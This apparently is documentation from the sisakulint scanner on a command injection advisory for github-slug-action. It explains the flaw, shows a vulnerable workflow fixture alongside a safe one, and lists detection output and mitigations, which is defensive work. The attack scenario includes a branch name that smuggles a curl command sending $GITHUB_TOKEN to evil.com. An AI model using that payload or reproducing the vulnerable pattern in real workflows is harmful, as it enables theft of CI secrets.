GHSA-6q4m-7476-932w: Command Injection via github.head_ref in rlespinasse/github-slug-action #
Summary #
| Field | Value |
|---|---|
| Advisory ID | GHSA-6q4m-7476-932w |
| Package | rlespinasse/github-slug-action |
| Severity | High (CVSS 8.8) |
| Vulnerability Type | Command Injection (CWE-77) |
| CVE | CVE-2023-27581 |
| Affected Versions | < v4.4.1 |
| Fixed Version | v4.4.1 |
| Published | 2023-05-22 |
| Advisory URL | https://github.com/advisories/GHSA-6q4m-7476-932w |
Vulnerability Description #
The rlespinasse/github-slug-action is vulnerable to arbitrary code execution when github.head_ref parameter is used insecurely in workflows triggered by pull requests. The action generates URL-safe slugs from branch names for use in deployments and other automation tasks.
Any GitHub user can exploit this vulnerability by creating a pull request with a malicious branch name containing an attack payload. When workflows use direct expression substitution ${{ }} in shell commands instead of environment variables, attackers can execute arbitrary code on GitHub runners. This enables potential cryptocurrency mining on victim’s resources and exfiltration of CI/CD pipeline secrets.
Technical Root Cause: The vulnerability arises because the action’s internal implementation (prior to v4.4.1) used inline bash scripts that directly interpolated GitHub context variables like refname="${{ github.head_ref || github.ref_name }}". Shell variable assignments with direct expression substitution are evaluated before the assignment, allowing command injection through specially-crafted branch names containing backticks, $(), or other shell metacharacters.
Attack Scenario #
- Attacker creates a branch with malicious name:
feature/poc`curl http://evil.com/exfil?data=$GITHUB_TOKEN` - Opens a pull request to trigger the workflow
- The workflow uses
pull_request_targettrigger with elevated privileges - Branch name is directly substituted:
HEAD_REF="${{ github.head_ref }}" - Shell evaluates the backticks before assignment
- Attacker’s command executes with access to secrets and repository
Vulnerable Pattern #
on:
pull_request_target:
types: [opened, synchronize]
jobs:
deploy-preview:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Generate slug
id: slug
run: |
# Vulnerable: Direct substitution without env variable
HEAD_REF="${{ github.head_ref }}"
# Slug generation - but HEAD_REF already compromised
SLUG=$(echo "$HEAD_REF" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9-]/-/g')
echo "slug=$SLUG" >> "$GITHUB_OUTPUT"
- name: Deploy preview
run: |
# Vulnerable: Direct usage in URL construction
DEPLOY_URL="https://preview-${{ steps.slug.outputs.slug }}.example.com"
echo "Deploying to: $DEPLOY_URL"
# Vulnerable: Direct substitution
echo "Branch: ${{ github.head_ref }}"
Why This is Vulnerable #
${{ github.head_ref }}is expanded by GitHub Actions before shell execution- Shell processes the expanded value during variable assignment
- Backticks,
$(), and other shell metacharacters are interpreted - Even if slug is sanitized later, the damage occurs during initial assignment
- Privileged context provides access to secrets and write permissions
Safe Pattern #
on:
pull_request_target:
types: [opened, synchronize]
jobs:
deploy-preview:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Generate slug
id: slug
env:
HEAD_REF: ${{ github.head_ref }}
run: |
# Safe: Use environment variable to prevent command injection
SLUG=$(echo "$HEAD_REF" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9-]/-/g')
echo "slug=$SLUG" >> "$GITHUB_OUTPUT"
- name: Deploy preview
env:
SLUG: ${{ steps.slug.outputs.slug }}
HEAD_REF: ${{ github.head_ref }}
run: |
# Safe: Use environment variables
DEPLOY_URL="https://preview-$SLUG.example.com"
echo "Deploying to: $DEPLOY_URL"
echo "Branch: $HEAD_REF"
Why This is Safe #
- Environment variables are set by the GitHub Actions runtime
- Shell receives pre-escaped literal values
- No shell expansion or command substitution occurs
- Special characters are treated as data, not code
- Branch name cannot influence command execution
Detection in sisakulint #
Expected Rules #
- CodeInjectionCriticalRule - Should detect direct usage of
github.head_reforgithub.base_refin shell variable assignments without environment variables
Detection Result #
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:24:24: code injection (critical): "github.head_ref" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:33:42: code injection (critical): "steps.slug.outputs.slug (tainted via github.head_ref)" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:37:28: code injection (critical): "github.head_ref" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]
Analysis #
| Detected | Rule | Category Match |
|---|---|---|
| Yes | CodeInjectionCriticalRule | Yes - Perfect match |
Detection Details:
CodeInjectionCriticalRulesuccessfully detects all three instances of vulnerablegithub.head_refusage- Detects direct substitution in variable assignments (line 24)
- Detects tainted output propagation (line 33)
- Detects direct usage in echo commands (line 37)
- Provides correct remediation: “pass it through an environment variable”
- Auto-fix available: Moves expressions to environment variables
Status: Fully Detected
Test files:
- Vulnerable:
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml - Safe:
script/actions/advisory/GHSA-6q4m-7476-932w-safe.yaml
Mitigation Strategies #
Always Use Environment Variables (Critical)
- Pass all GitHub context values through the
env:key - This is the only reliable way to prevent this class of vulnerability
- Apply to ALL untrusted inputs, not just branch names
- Pass all GitHub context values through the
Update to Fixed Version
- Upgrade to
rlespinasse/github-slug-action@v4.4.1or later - Fixed version uses environment variables internally
- Upgrade to
Code Review Focus
- Search for pattern:
VARIABLE="${{ github.* }}" - Replace with env variable pattern
- Be especially vigilant in
pull_request_targetworkflows
- Search for pattern:
Input Validation (Defense in Depth)
- Validate branch names match expected patterns
- Reject branches with suspicious characters
- Use regex:
^[a-zA-Z0-9/_-]+$
Minimize Privileged Workflows
- Avoid
pull_request_targetwhen possible - Use
pull_requesttrigger for untrusted code - Separate workflows: untrusted code analysis + privileged actions
- Avoid
References #
GitHub Links #
- GitHub Advisory: https://github.com/advisories/GHSA-6q4m-7476-932w
- Repository: https://github.com/rlespinasse/github-slug-action
- Repository Security Advisory: https://github.com/rlespinasse/github-slug-action/security/advisories/GHSA-6q4m-7476-932w
- Patch Commit: https://github.com/rlespinasse/github-slug-action/commit/102b1a064a9b145e56556e22b18b19c624538d94
- Issue: https://github.com/rlespinasse/github-slug-action/issues/104
- Release: https://github.com/rlespinasse/github-slug-action/releases/tag/v4.4.1
External References #
- CVE-2023-27581: https://nvd.nist.gov/vuln/detail/CVE-2023-27581
- CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
- GitHub Security Lab Research: https://securitylab.github.com/research/github-actions-untrusted-input
- GitHub Actions Security Hardening: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections